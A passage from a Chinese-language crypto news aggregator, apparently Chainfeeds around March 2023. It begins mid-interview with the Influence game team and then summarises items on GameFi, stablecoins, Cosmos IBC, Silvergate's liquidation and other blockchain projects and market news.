这激发了创造一个基于硬核科学的太空策略游戏的想法，将玩家纳入实际的游戏经济中。这是在 2012 年之前，甚至在区块链游戏的概念出现之前就有的想法。然而，随着岁月的流逝，以太坊的发展和 Layer2 的引入，很明显这将是一个完美的场所，创建一个永不停息的游戏，每个人都可以拥有自己的资产，并且在无中心化控制的情况下进行游戏。 2021 年，Jean-Paul 和 Chris 通过 Reddit 认识，在进行了几次关于建立 Influence 想法的谈话后，他们就开始着手实施这个想法。 Starknet 中文：Influence 团队现在有多少人？ Influence：目前有八位全职工作人员，还有我们为各种外包项目雇佣的承包商。计划在正式发布后扩大我们的团队。 Starknet 中文：可以简单介绍一下 Influence 的游戏规则、资产以及代币经济模型吗？ Influence：这有关于游戏的简明指南：英文版；由社区整理的中文版。 Starknet 中文：你提到了「永不停息的游戏」概念和一种新的游戏模式。你能详细介绍一下这个新的模式吗？这个模式将如何实现？ Influence：「永不停息的游戏」概念现在有几种说法： 每种说法都描述了一个精心制作的沉浸式体验的软件，不依赖于团队继续运行。随着时间的推移，这些游戏将足够去中心化，因为它们的代码是链上的，它们可以在没有集中实体确保其运作的情况下运行。 这就带来全新的游戏开发方式，并进一步赋予游戏开发/设计师在现有架构之上扩展的能力。 在这些系统中，你将代码与游戏的经济合并在一起，同时使其开放给任何人在其之上构建。 未来在这些游戏中，玩家可以在整个游戏生态系统自由访问、移动，操作不必通过任何中心化实体或机构审核。 Starknet 中文：Influence 会有手游吗？手游版与页游版会有什么区别？什么时候准备发布手游版呢？ Influence：Influence 可在（手机和台式机，PC 和 Mac）上可玩，因为它是在浏览器中构建的。应该注意的是，移动版至少在一开始推出时的沉浸感会比在电脑中体验要差。然而，随着时间的推移，我们计划对这两个版本提供更多的支持。我们目前打算要将 Influence 做成随时随地都能拿起来玩的游戏，如果你出门在外，你可以轻松地从你的手机上登录，操作一下游戏，再退出。 Starknet 中文：目前游戏开发如何决策的？未来将采取什么治理形式？（治理设计） Influence：目前游戏开发完全由 Unstoppable Games 团队来决策。我们会持续发展游戏及其核心功能，直到我们发布最近的游戏版本「冲突」。在此之后，我们计划更充分地进行去中心化游戏的治理，如果社区想的话，他们也可以选择其它的游戏开发团队来制作游戏。 但在「冲突」发布之前，我们会尽量将游戏的社区金库去中心化，将金库资产用于开发附加功能、游戏模式、插件以及其它社区投票等工作。 Starknet 中文：游戏中还会设计另一个代币吗？ Influence：SWAY 是我们的代币，目前还不会宣布其他代币。可能会设计一款治理代币，但目前该代币的具体功能暂未公开或确认。 Starknet 中文：什么时候启动第四阶段？会在下一阶段发布更多完整功能吗？ Influence：第四阶段暂未确定具体日期，但不会很晚。下一阶段，我们将在游戏中实现几乎所有可玩功能。 Starknet 中文：团队对 Influence 游戏有什么长期目标? Influence： 我们正致力于创造一款玩家喜爱的沉浸式太空主题战略 MMO 游戏。不仅如此，我们还希望创造出充满开发者和设计师的生态系统，让他们在 Influence 生态系统中创造和构建新的游戏和模式。Influence 目标未来五年成为链游行业中公认的标杆，实现超百万游戏玩家。 ?Mirror 原文: https://mirror.xyz/starknet-zh.eth/YkjTJcGX9C4ucbsVMObXSd-xpw63fjKfjGefo6xZ7bU ?采访-EN 版： https://nurstardeepdive.substack.com/p/interview-with-the-influence-game  ( 5 min )

  • Open

    Delphi Digital：2023 年 GameFi 将迎来「大重塑」
    Chainfeeds 导读： Web3 研究分析师 Insightful 发推特对 Delphi Digital 和 Naavik 2023 年 Gamefi 报告中的要点进行梳理，通过观察投资、游戏、公会、基础设施等方面的现状，反思 Gamefi 行业面临的困境、取得的进步与未来走势。中文版由 ChainCatcher 倩雯编译发布。 文章来源： https://www.chaincatcher.com/article/2088931 文章作者： Insightful 观点： Insightful：整个炒作周期中，人们更关注玩家收益最大化，不追求有趣的游戏体验和可持续性。Axle Infinity 经济上的巨大成功引起了几十个项目竞相模仿，但这种模式需要不断有新玩家涌入才能生存，也导致了收入被用户增长速度所累，而非取决于玩家总数和游戏中消费。当大多数玩家提取的价值多于其创造的价值时，经济就会陷入死循环。 内容来源 Insightful：过去 24 个月里，约 120 亿美元资金涌入该领域。但随着整体资金环境越发紧张，许多初创团队和项目将在未来一年面临生存威胁。加密货币解锁了数字产权、二级市场流动性、共享所有权等，为开发者提供了更多的筹资选择。制作高质量的产品和体验需要耐心，这恰恰是这样一个迅猛发展的领域中所缺失的。 内容来源 Insightful：2023 年可能不是加密游戏真正进入主流的一年：上一个炒作周期将在短期内影响消费者的消费欲望；分销限制、监管不确定性和用户体验摩擦（如用户与钱包的互动）等方面仍然存在巨大的阻力。但如今大多不良行为者和过高的通胀模式已基本从市场上消失，2023 年将迎来「大重设」：P2E 模式逐渐消亡，高质量的建设者脱颖而出。重点将转向使用加密技术的优质游戏。 内容来源  ( 3 min )
    Mint Ventures：加密世界的原生基准利率该如何定义？
    Chainfeeds 导读： 链上世界到底有没有债券市场？加密原生 crypto native 的债券市场可能会有什么样的发展模式？Mint Ventures 研究员 Colin Li 从加密原生的无风险利率（risk free rate) 切入，试图寻找在加密市场中什么样的经济活动可能达到风险与收益相匹配。 文章来源： https://research.mintventures.fund/2023/03/09/zh-an-exploration-of-risk-free-rate-in-the-crypto-world/ 文章作者： ColinLy 观点： ColinLy：无风险利率不包含信用风险、期限风险等，在传统世界中一般被认为是短期国债利率，或央行制定的基准利率水平。如果将名义无风险利率拆开，可以看到一部分是价格预期（通胀），另一部分是经济体本身的增长预期（实际利率）。当然，这个利率存在一些前提假设，比如国家相对稳定，监管机构没有被破坏等等。所以无风险利率，不是绝对没有风险。 内容来源 ColinLy：不论 POS 还是 POW 机制，为了维持正常运行，都需要为矿工 /validator 提供一定奖励。这部分收益率包含了公链代币的新发放（激励），即「国家货币」的通胀，和链上活动的活跃程度。以 POS 机制为例，MEV 主要来源于套利、清算、三明治攻击，都与链上活动息息相关。不过，从风险角度看，获得这笔收益需要承担硬件、软件（客户端）、网络、slashing 罚金等维持公链运行必须的风险。总的来看，POS 收益率更贴合「国家」叙事层面下的「无风险利率」。 内容来源 ColinLy：总体来看，TVL 在 1 亿美元以上、有 POS 收益且持续通胀的公链项目的收益率呈现出与现实世界非常类似的情况：经济体越成熟，提供的利率水平相对越低。通过简单观测 POS 收益率和 TVL 排名，有利于部署不同的公链投资策略：对于稳健的投资者，应该寻找 POS 收益率偏低且实际 POS 收益率为正的公链项目；对于激进的投资者，或许盈亏比更大的项目在 POS 收益率偏高且实际 POS 收益率为负的公链中。 内容来源  ( 12 min )
    OpenSea、ConsenSys 等加密初创公司股票正大幅折价出售
    OpenSea、ConsenSys 等加密初创公司股票正大幅折价出售 二级交易市场 Birel 首席执行官 Richard Freemanson 证实，许多加密初创公司的股票目前在 Birel.io 上以相当大的折扣出售。这些初创公司包括 Alchemy、Blockchain.com、Chainalysis、Kraken、ConsenSys、Blockdaemon、CoinDCX 和 OpenSea。 上述公司发售的大宗股票规模从 300 万美元到 5000 万美元不等，且折扣差别很大。最引人注目的是 Blockchain.com 和 ConsenSys，他们的股票分别以较最新一轮融资折让 74% 和 71% 的价格发售。Chainalysis 股票以 61% 的折扣出售，OpenSea 股票以 51% 的折扣出售。Alchemy、Blockdaemon 和 Kraken 的股票分别折价 31%、30% 和 9%。 对此，Chainalysis、OpenSea 和 Blockdaemon 的发言人拒绝置评。提到的其他公司没有立即回应置评请求。 内容来源 观点： Richard Freemanson（Birel 首席执行官）：我不能说这样的折扣说明了公司相应的负面结果。折扣与较高价格水平上没有买家有关，买家不活跃是因为这些公司的业绩部分取决于主要加密货币的价格，而现在很难预测其走势。卖家并不总是出售全部数量，他们会部分退出以实现多元化。【原文为英文】 内容来源  ( 215 min )
    Mt.Gox 索赔申请截止日期延后至 4 月 6 日
    Mt.Gox 索赔申请截止日期延后至 4 月 6 日 据 Mt.Gox 官网显示，经法院同意，索赔申请截止日期从 2023 年 3 月 10 日变更为 4 月 6 日；还款截止日期从 2023 年 9 月 30 日推迟到 10 月 31 日。除非有不可避免的原因，进一步延长最后期限将很困难。Mt.Gox 目前剩余待赔付金额大约为 142,000 枚 BTC、143,000 比特现金 (BCH) 和 690 亿日元。 内容来源
    Arthur Hayes：以「比特币保证金 + 反向永续合约」打造新的美元稳定币
    Chainfeeds 导读： BitMEX 创始人 Arthur Hayes 撰文回顾审视加密行业为什么需要稳定币、用稳定币做什么以及如何使用稳定币的经典（Why，What，How）问题，并构思了一种以「比特币保证金 + 反向永续合约」为底层机制发行的无清算风险的合成美元稳定币 NakaDollar（NUSD）。Arthur Hayes 还认为，合规美元稳定币未来市值增长将因监管受限，无法匹配行业增长规模。中文版由吴说区块链 GaryMa 编译发布。 文章来源： https://mp.weixin.qq.com/s/9ZuJGkI1H_h5oUPHoNDt4A 文章作者： Arthur Hayes（BitMEX 创始人） 观点： Arthur Hayes（BitMEX 创始人）：稳定币的意义不是在不需要的地方创造去中心化产品。相反，它们只是为了提供银行拒绝提供的法币 Token 化服务。我认为 DAI 等超额抵押稳定币和 TerraUSD 等算法稳定币从根本上来说是不必要的。但不幸的是（也很危险），市场倾向于将稳定币存在的真正原因，即允许交易者在法币和加密货币之间快速转换，与更广泛的去中心化目标，即为任何有可能造成不平等的中心化机构或实体创造一个去中心化替代方案混为一谈。 内容来源 Arthur Hayes（BitMEX 创始人）：美元法币稳定币根本不会被允许扩张到使加密货币市值增加数万亿美元所需的规模（假设你认为加密货币总市值与美元稳定币流通总量正相关）。对美国金融系统来说，将这些美元交到必须立即清算其持有的债务以兑现对客户的承诺的机构手中，风险太大。因此，虽然三大巨头（USDT、USDC、BUSD）可能会继续存在，但他们的存款总量增长是有上限的。 内容来源 Arthur Hayes（BitMEX 创始人）：1 NUSD = 1 美元比特币 + 做空 1 份比特币 / 美元的反向永续合约。NUSD 不依赖敌对的法币银行来保管美元，而是依赖上架反向永续合约的衍生品交易所。它不会去中心化，NUSD 解决方案中的故障点将是中心化衍生品交易所。我排除了去中心化衍生品交易所，因为它们的流动性远不及中心化平台，且定价预言机依赖于中心化现货交易所的数据。 内容来源  ( 34 min )
    【英文长推】观点：为什么 MPC 钱包不可行？
    Chainfeeds 导读： Nervina Labs 首席执行官 cipherw 发推特阐述其认为多方计算（MPC）钱包的缺陷：存在严重安全风险且并未解决单点故障问题。 文章来源： https://twitter.com/crypcipher/status/1633289822113796097 文章作者： crypcipher（Nervina Labs 首席执行官） 观点： crypcipher（Nervina Labs 首席执行官）：1）MPC 引入并忽视了更严重的安全风险。虽然 MPC 将用户从私钥管理中解放出来，但其密钥管理依赖于 HSM 或云服务器，很容易出现大量不可恢复故障；2）MPC 钱包始终没有解决单点故障问题。即使密钥共享服务器是分开的，但仍由同一个解决方案提供商运营和维护。这意味着，如果服务提供商关闭，所有的用户账户将变得不可用。【原文为英文】 内容来源 crypcipher（Nervina Labs 首席执行官）：MPC 是一种钱包 SaaS 产品，兼具 SaaS 的积极和消极方面。虽然终端用户可能不关心去中心化和自主权，但开发者和初创公司却关心，因为他们不能在不可靠的服务上构建应用程序。【原文为英文】 内容来源  ( 2 min )
    【英文长推】详解 Cosmos IBC 模型：互操作性的瑞士军刀
    Chainfeeds 导读： Cosmos 跨链通信协议（IBC）的基本目的是将独立的区块链相互连接，以信任最小化、安全、可扩展和通用的方式提供区块链的互操作性。加密研究员 pt1mfv 对 IBC 的基本概念、工作原理、用例等方面进行了全面解析，总结出其独到之处。 文章来源： https://twitter.com/pt1mfv_/status/1633108786650005508 文章作者： pt1mfv 观点： pt1mfv：Cosmos IBC 由两个不同的层组成，传输层（TAO）建立安全连接，并在链间进行数据验证；应用层定义数据如何在链上被打包、分发和解析，可用于建立广泛的跨链应用，包括代币转移、链间账户、链间查询和预言机数据反馈。为保证生态系统安全，IBC 对发送的数据进行验证，以确保接收区块链可以信任它收到的每个数据包。交易默认是有效的，可以在不同区块链系统之间广播，同时保持数据完整性。【原文为英文】 内容来源 pt1mfv：自 2021 年 5 月推出以来，IBC 已经连接了 54 条链，包括 Osmosis、Kujira、Cronos 等等。IBC 兼容的链可以是公有或私有的，并且可以相互通信，不用考虑不同的应用程序和验证器集。但为了实现兼容，链必须有一个即时的最终共识层，以及轻客户端功能。【原文为英文】 内容来源 pt1mfv：IBC 在设计、用途和性能方面与其他跨链解决方案有许多不同之处。IBC 不定义需要传递什么样的数据；IBC 提供了与链交互的单一接口，避免用户根据个人需求在不同生态系统中转移资产的需要；轻客户端架构提供了安全方面的升级；作为一个通用互操作性协议，「通用性」也是其独特之处。【原文为英文】 内容来源  ( 2 min )
    【英文长推】盘点 10 个有潜力的 GambleFi 项目：Rollbit，BetFury，Kineko...
    Chainfeeds 导读： 基于区块链的赌博平台通过 VRF 和 ZK 等技术为玩家提供监管保护和公平环境，或将吸引更多企业进入 Web3。加密货币 KOL Misa 列出了十个有增长指标并被市场相对低估的项目。 文章来源： https://twitter.com/misaflips/status/1633452887509733376 文章作者： Misa 观点： Misa：1）Rollbit。该平台集合了赌场、体育博彩、期货、NFT 市场等多项功能。有 100 万注册用户，每天下注 2000 万美元，总下注金额超过 30 亿美元。市值：9500 万。【原文为英文】 内容来源 Misa：2）BetFury。提供大量的赌场游戏。与 BFG 代币持有者共享平台收入。有挖矿计划，玩家玩游戏可以获得 BFG 代币。使用 SHA256 技术的可验证公平原则来确保公正。市值：5800 万。【原文为英文】 内容来源 Misa：3）Kineko。拥有赌博许可证和 DeFi 整合的在线博彩公司，可以进行赌场和体育博彩。市值：1600 万。【原文为英文】 内容来源  ( 2 min )
    【英文长推】一文讨论上海升级对 LSD 协议和 Balancer 的影响
    Chainfeeds 导读： 在市场热切期盼和高度期待下，ETH 上海升级即将到来。这对 LSD 的叙述会有什么影响？对 Balancer 的长期影响又会是什么？Balancer 撰文讨论了上海升级对 LSD 协议的影响，指出随着质押的 ETH 数量增加，LSD 之间的竞争会加剧，Balancer 可以帮助 LSD 协议激励代币的采用率。 文章来源： https://twitter.com/balancer/status/1633490690788462592 文章作者： Balancer 观点： Balancer：上海升级将消除大多数用户参与 ETH 质押的门槛。长期来看，质押的 ETH 数量可能会增加。这些代币为用户提供了对基础质押 ETH 收益的敞口，同时提供参与更广泛的 DeFi 生态系统的能力。通过启用 ETH 提取，LSD 的挂钩风险得到了缓解，随着进入和退出质押自由，LSD 之间的竞争肯定会加剧。【原文为英文】 内容来源 Balancer：Balancer 的技术非常适合容纳计息代币，并为 LSD 流动性提供一个有效的枢纽。Balancer 目前在 LidoFinance 和 Rocket Pool 等主要 LSD 巨头以及 Arbitrum 和 Optimism 等 Layer2 上的流动性方面占据主导地位。Balancer 技术提供了 LSD 协议所需的一些功能。在上海升级之后，LSD 流动性在 DeFi 应用中很可能会增加。加上 LSD 协议之间的竞争升温，他们将会寻找最高效的基础层来实现激励代币采用率。【原文为英文】 内容来源  ( 2 min )
    Silvergate 暴雷后，还有哪些加密银行？
    Chainfeeds 导读： 随着 Silvergate 的暴雷，很多加密公司需要寻找出路，但随着传统金融对加密的担忧越重，能选择的银行也就越来越少。The Information 发文概述了「Silvergate 之后的加密友好银行」，中文版本由 BlockBeats 编译。 文章来源： https://www.theblockbeats.info/news/35407 文章作者： Aidan Ryan, Akash Pasricha 及 Michael Roddan 观点： Aidan Ryan：1）Customers Bank：其拥有美国联邦存款保险公司（Federal Deposit Insurance Co .）背书，且在 2021 年初与很多大型加密客户签约，并提供类似于 Silvergate 网络的支付系统。据知情人士透露，该公司并不打算退出加密行业； 内容来源 Aidan Ryan：2）Silicon Valley Bank：该银行向加密公司放贷和接受存款，也会对这些公司进行投资，但对加密类客户的「风险敞口最小」。据该银行一位发言人表示，暂时不会改变接受加密的计划；3）Cross River Bank：近年来在加密公司中站稳脚跟的银行，Coinbase 也是其客户之一； 内容来源 Aidan Ryan：4）Mercury：通过与 Choice Financial Group 和 Evolve Bank & Trust 合作，提供支票和储蓄账户、电汇等服务。其发言人表示，该公司支持所有初创公司，包括加密行业公司，但不会与交易平台或 BTC ATM 提供商合作。 内容来源
    【英文长推】新项目前瞻 | Instadapp 推出智能合约钱包 Avocado，如何运作？有何创新之处？
    Chainfeeds 导读： 多链 DeFi 管理协议 Instadapp 推出的智能合约钱包 Avocado，支持多网络交易，所有网络的 Gas 以 USDC 形式支持，无需管理多个本地 Gas 代币。加密研究员 Ignas 对其工作原理和重要性进行了解析。 文章来源： https://twitter.com/DefiIgnas/status/1633626328330289152 文章作者： Ignas | DeFi Research 观点： Ignas | DeFi Research：Avocado 改变了我们目前与 dApp 的交互方式。Avocado 拥有自己的 RPC，其钱包地址是一个确定性的智能合约，在算法上和你的钱包地址相连，是一个非托管的账户抽象钱包。用户将任何支持的链中的代币发送至该地址后，余额将会出现在 Avocado 网络上。【原文为英文】 内容来源 Ignas | DeFi Research：在添加 Avocado 时，所有网络 Gas 将以 USDC 形式支持，无需为不同区块链管理不同 Gas 代币。使用 Avocado 进行交易时，需要向相应链签署一个消息，Avocado 将签署的消息转发至相应链上，并在相应链上以原生代币支付 Gas。且用户还可以将任何 dApp 连接至 Avocado 钱包，批准的是来自 Avocado 钱包的交易而不是 dApp 本身。【原文为英文】 内容来源 Ignas | DeFi Research：Avocado 其他关键路线图升级包括 2FA 安全、跨链余额统一、白名单、内置 DeFi 策略及将 Avocado 直接集成到 dApp 的激励计划。Avocado 会额外收取 20% 的 Gas 费，一半费用将流向支持 Avocado 的 dApp，另一半则会导向 INST 国库。此外，团队还将很快推出一个移动应用程序和浏览器扩展程序以进一步改善用户体验。【原文为英文】 内容来源  ( 2 min )
    【英文长推】解析 veFCTR 对 FactorDAO 的重要性
    Chainfeeds 导读： 随着质押功能的启动和第一个金库即将发布，veFCTR 最终将发挥其真正的潜力，成为 FactorDAO 生态系统背后的驱动力。 veFCTR 对于参与 FactorDAO 的管理和获得协议的收入份额至关重要。 FactorDAO 撰文解释了 veFCTR 的重要性。 文章来源： https://twitter.com/factordao/status/1633165725950181376 文章作者： FactorDAO 观点： FactorDAO：veFCTR 的效用可归因于两个因素：作为 FactorDAO 的治理代币和促进其持有者的收益分享。veFCTR 的不可转让性鼓励长期参与并阻止投机行为，促进更稳定和可持续的生态系统。为了促进公平并在 Factor 生态系统中实现策略多样性，veFCTR 可以被取消质押，但会受到惩罚。为了防止最大持有人的主导地位，抵押的 veFCTR 将随时间衰减。【原文为英文】 内容来源 FactorDAO：在 DAO 治理投票过程中，veFCTR 持有者可以通过两种机制参与。首先，他们可以直接对提案进行投票。其次，他们可以将投票委托给代表，以最大化其投票权力。协议收益只分享给 veFCTR 持有者。veFCTR 是 FactorDAO 生态系统的核心，拥有它对于改进和创建强大的生态系统至关重要。【原文为英文】 内容来源  ( 2 min )
    【英文长推】解读交易资产利率的 DeFi 协议：Pendle
    Chainfeeds 导读： Pendle 为用户提供了多种策略来更有效地交易、对冲和管理收益。加密货币 KOL Tindorr 从概念、用户策略、路线图和潜力等方面介绍了此项目，并分析了他看涨的原因。 文章来源： https://twitter.com/0xtindorr/status/1633156442760044545 文章作者： Tindorr 观点： Tindorr：Pendle 允许任何人交易「收益率」。 「收益率」是指从 Lido 上的 stETH、sAPE（质押 APE）、GMX 上的 GLP 等这些资产（也称为收益率代币）中获得的 APY 或利率。Pendle 将每个收益率代币化为 2 个代币：本金代币（PT）和收益代币 （YT）。此功能为 DeFi 解锁了新策略。 可以在 Pendle 上使用的策略：1）购买 PT （Principal） = 在到期日之前获得固定收益。2）买入 YT （Yield） = 做多收益代币。【原文为英文】 内容来源 Tindorr：Pendle 有非常好的路线图，他们即将在 Arbitrum 上上线的池子会吸引更多用户。他们团队平易近人，乐于提供更多信息，上市战略很好。网站上的用户体验 / 用户界面也非常出色，并且是 DeFi 的真正应用。【原文为英文】 内容来源  ( 2 min )
    非托管流动性质押平台 ether.fi 将分三个阶段启动
    非托管流动性质押平台 ether.fi 将分三个阶段启动 去中心化的非托管流动性质押平台 ether.fi 宣布将分三个阶段启动：第一阶段：四月，在上海升级之后上线主网以及 ETH 委托质押。第二阶段：2023 年 Q2 或 Q3，eETH 流动性池上线。第三阶段：2023 年 Q4 或 2024 年 Q1，推出无许可节点市场。 内容来源  ( 2 min )
    【英文长推】Delphi Digital 复盘 MakerDAO 2022 年发展概况：DAI 供应量缩减至 55 亿枚，协议收入趋于平稳
    Chainfeeds 导读： Delphi Digital 研究员 Demosthenes 发布了一份关于 MakerDAO 的报告，主要探究了 MakerDAO 2022 年的发展概况及对其基本面的影响。 文章来源： https://twitter.com/DemosCrypto/status/1633553601560813569 文章作者： Demosthenes 观点： Demosthenes：1）目前 DAI 的供应量已经从 100 亿缩减至了 55 亿枚，但与其竞争对手相比，DAI 仍然是占主导地位的 CDP 币。此外，MakerDAO 的 TVL 下降了，但也仍然处于主导地位；2）收入在 2022 年已经趋于平稳，其在 2022 年第一季度和第二季度都实现了盈利，但下半年的盈利和支出都有所缩水；【原文为英文】 内容来源 Demosthenes：3）MakerDAO 增加对现实世界资产的敞口，这对其而言是有利的；4）The Endgame Plan 计划仍具有争议；5）总体而言，MakerDAO 基本面和我期望的无异，RWA 和 The Endgame Plan 似乎会在 2023 年给 MakerDAO 带来新的发展机遇。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Matrixport Ventures 前投资总监：为什么看好 RISC Zero？
    Chainfeeds 导读： Risc Zero 是一个建立在 RISC-V 指令集架构之上的 zkVM，用 Rust 语言编写，底层证明系统是 zk-STARKs。此外，他们还构建了自己的被称为 Bonsai Network 的 L2。在与零知识证明开发者进行交谈后，Matrixport Ventures 前投资总监 Alex 撰文概述了他看好 RISC Zero 的原因。 文章来源： https://twitter.com/looksrare_eth/status/1633204560977342464 文章作者： Alex 观点： Alex：开发人员将会从以下三个方面获益：1）RISC-V ISA 中优化的 ZK 电路，无需担心证明大小及 Gas 成本等问题；2）RISC-V 生态系统中的一系列库；3）更多的语言支持，例如 Go 和 C++，编译器将于一季度结束时推出。此外，开发人员还能够在 RiscZero zkVM 内运行 EVM。【原文为英文】 内容来源 Alex：用例：1）Rollup 公司探索使用 RiscZero 证明器以提供速度更快的可定制 Rollup；2）开发者在数据或中间件领域进行构建，探索数据中继的零知识证明用例；3）链上游戏：战略游戏、纸牌游戏等也可以使用 RiscZero 虚拟机编写零知识证明；4）项目可使用 ZKP Powered 证明工作输出或结果而无需透露用户数据；5） 还适用于无人机、位置服务和物联网公司等领域。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Cosmos 网状安全性解读：主权区块链通过经济自我利益保障安全的演进之路
    Chainfeeds 导读： 我们目前以 Rollup 为中心的叙事仍然将权利集中在一个安全中心，而 Cosmos 希望建立的以非等级方式进行交互的系统则需要使用网状安全性（Mesh Security ）将去中心化和主权整合至其安全性中。加密研究员 Emperor Osmo 撰文对 Mesh Security 的重要性进行了探索解析。 文章来源： https://twitter.com/Flowslikeosmo/status/1633482756394225667 文章作者： Emperor Osmo 观点： Emperor Osmo：目前我们的经济安全模式包括：1）Hub 利用验证器集增加区块大小，但事实上并没有改善链的安全性，且缺乏协同作用；2）碎片化复制安全性，但这涉及到验证器集的子集确保链的安全，可扩展性更高，类似于 Eigenlayer 正在做的事情。但这些方式都忽略了链想要使用自己的质押代币用于价值获取或激励调整。而网状安全性（Mesh Security ）希望实现的目标则是经济和安全联盟的集成。【原文为英文】 内容来源 Emperor Osmo：在 Rollup 模式中，L2 用于执行交易，而结算仍然在 L1，这对于在 L1 上创建的项目是有意义的，但并不适合在 L2 上创建的任何项目。我们该如何解决在 L2 上的审查阻力？或许可以考虑链间制裁，通过对交易施加制裁来审查执行恶意行为的链。网状安全性（Mesh Security ）是主权区块链通过经济上的自我利益保障彼此的进化步骤。【原文为英文】 内容来源  ( 2 min )
    【英文】什么是轻节点？一文了解其类型及运作模式
    Chainfeeds 导读： 轻节点是全节点的一种有限形式，只下载区块头。轻客户端可以验证交易是否包含在区块内，但由于它们不下载或执行区块内的交易，因此相信大部分区块生产者都是诚实的。Modular Media 联创 DinoEggs 撰文解析了轻节点的概念、类型及工作方式。 文章来源： https://dinoeggs.substack.com/p/light-nodes-and-their-benefits 文章作者： DinoEggs.eth 观点： DinoEggs.eth：轻节点可以根据验证信息进行分类：1）共识验证器：能够检查一个交易是否包含在规范链中，通过追踪验证者的证明来追踪规范链，并通过验证 Merkle 证明检验交易，类似于 IBC 的工作方式；2）状态验证器：可以在不处理事务的情况下检验状态转换是否有效，可以使用有效性或欺诈证明完成；【原文为英文】 内容来源 DinoEggs.eth：3）DA 验证器：可以检查计算的输入是否存储在可以下载的地方，而不需要实际下载所有数据，通过数据可用性采用技术完成。如果一个轻节点可以完成以上所有事情，我们就将这些节点成为完全验证器，最重要的是它们是信任最小化的，提供了和全节点几乎相同的无需信任属性且无需下载区块。【原文为英文】 内容来源  ( 14 min )
    CFTC 主席：如果国会不通过全面的数字资产监管法，基于法币的稳定币将会被视为商品
    CFTC 主席：如果国会不通过全面的数字资产监管法，基于法币的稳定币将会被视为商品 美国商品期货交易委员会（CFTC）主席 Rostin Behnam 在出席参议院农业委员会会议后表示，如果国会不通过一项全面针对数字资产的监管法律，基于法定货币的稳定币将会被视为商品。此外，Rostin Behnam 还表示，我们对 ETH 衍生品进行了监管，ETH 期货在 CFTC 市场上市并非巧合，我们做了分析，得出的结论是 ETH 是一种商品。 内容来源  ( 226 min )
    Web3 内容平台 Mirror 推出 NFT 订阅铸造 「Subscribe to Mint 」功能
    Web3 内容平台 Mirror 推出 NFT 订阅铸造 「Subscribe to Mint 」功能 去中心化内容发布平台 Mirror 宣布推出 「订阅铸造（Subscribe to Mint）」功能，收藏家需要使用电子邮件订阅创作者的 Mirror 出版物才能够进行铸造，目前已在以太坊、Optimism 和 Polygon 链上部署。新功能将有两个潜在用例：1、创世 Drop，Web3 项目可以将发布内容与包含项目 logo 或吉祥物的 NFT 配对，并且使用「Subscribe to Mint」功能通过内容更新和后续 NFT 投放与项目受众互动。2、推出可收藏 NFT 系列，持有者可以完成铸造 NFT 并鼓励新用户注册成为订阅者以参与未来 NFT 投放。「Subscribe to Mint」功能对创作者是完全免费的，创作者将获得所售 NFT 的 100 % 收益。此外，「订阅铸造（Subscribe to Mint）」功能将在未来两周内进行社区测试，只有 Mirror Genesis NFT 持有者可以访问。 内容来源 观点： Mirror：「订阅铸造（Subscribe to Mint）」功能扩展了 Mirror Web3 原生发布功能，包括于 2022 年 5 月推出的将文章铸造成 NFT 的功能及 2022 年 7 月推出的 Web3 订阅功能。【原文为英文】 内容来源 starzq.eth：时隔 2 个月 Mirror 终于有了更新，「Subscribe to Mint」， 又给创作者打开了创收的方式。为什么是「又给」，因为半年前 Mirror 刚关掉了其最受欢迎的创收方式「众筹」，改变定位为 ToC，这下又变成 ToB。「Subscribe to Mint」其实就是一个基于订阅者的 Open Edition， 和 Manifold/Zora 没有本质区别，也没有看出有任何的竞争力。一个摇摆不定的产品只会不断流失用户。1 年前我就详细比较过 Mirror 和 Substack， ToC 体验上 Substack 完胜。 内容来源 CryptoNerdCn：从一个开发者的角度来看，抛弃 plugin，转单纯 toC 又以一种奇怪的方法转回来，并且至今还有不少基础功能没实现以及越来越丑的 UI，这可能说明了 Mirror 从来就没有过充足的开发人手。竞品 Matters 除了 UI 实在很廉价之外其他功能都好过 Mirror，虽然用的人更少。 内容来源 crypcipher（Nervina Labs 首席执行官）：可以试一下 Mail3 subscription，使用 subdid 作为订阅关系与 token gated 工具，去中心化存储加开放，比 substack 会有更多可能性。 内容来源  ( 7 min )
    加密友好银行 Silvergate Bank 将以适用的监管程序有序结束银行业务并自愿进行清算
    加密友好银行 Silvergate Bank 将以适用的监管程序有序结束银行业务并自愿进行清算 加密友好银行 Silvergate Bank 宣布以适用的监管程序有序结束银行业务并自愿进行清算。Silvergate Bank 表示，鉴于最近的行业和监管发展，有序结束业务并自愿进行清算是最好的发展方式，该计划包括全额偿还所有存款，公司也在考虑如何最好的解决索赔问题并保存其资产的剩余价值，包括其专有技术和税收资产。其总 Centerview Partners LLC 担任财务顾问，Cravath, Swaine & Moore LLP 担任法律顾问，Strategic Risk Associates 提供过渡项目管理协助。此外，Silvergate Bank 决定停止 Silvergate Exchange Network（SEN），所有其他与存款有关的服务在公司清算过程中将保持运营。 此前消息，Silvergate Bank 于上周宣布推迟提交 2022 财年的年度 10-K 报告，且公司正在分析与公司有关的某些监管询问和调查。 内容来源 观点： Coinbase：我们很遗憾看到 Silvergate 做出艰难决定来有序减少他们的业务。Silvergate 是加密经济增长的合作伙伴和贡献者。Coinbase 在 Silvergate 上没有客户或公司现金。【原文为英文】 内容来源 美国加州金融保护与创新部（DFPI）：我们正在密切关注局势以促进 Silvergate Bank 安全、迅速地自愿清算。正在评估 Silvergate Bank 对所有金融法律的遵守情况，并正在与相关的联邦同行密切合作。【原文为英文】 内容来源 Adam Cochran：有传言称，Silvergates 清算将不包括银行章程（这通常发生在监管机构发现某种错误行为的情况下），如果传言是真的，这对股东来说是残酷的，因为这是唯一真正有价值的资产。【原文为英文】 内容来源  ( 7 min )
    Coinbase 宣布推出钱包基础设施 API「钱包即服务（WaaS）」，允许公司为用户创建和部署可定制链上钱包
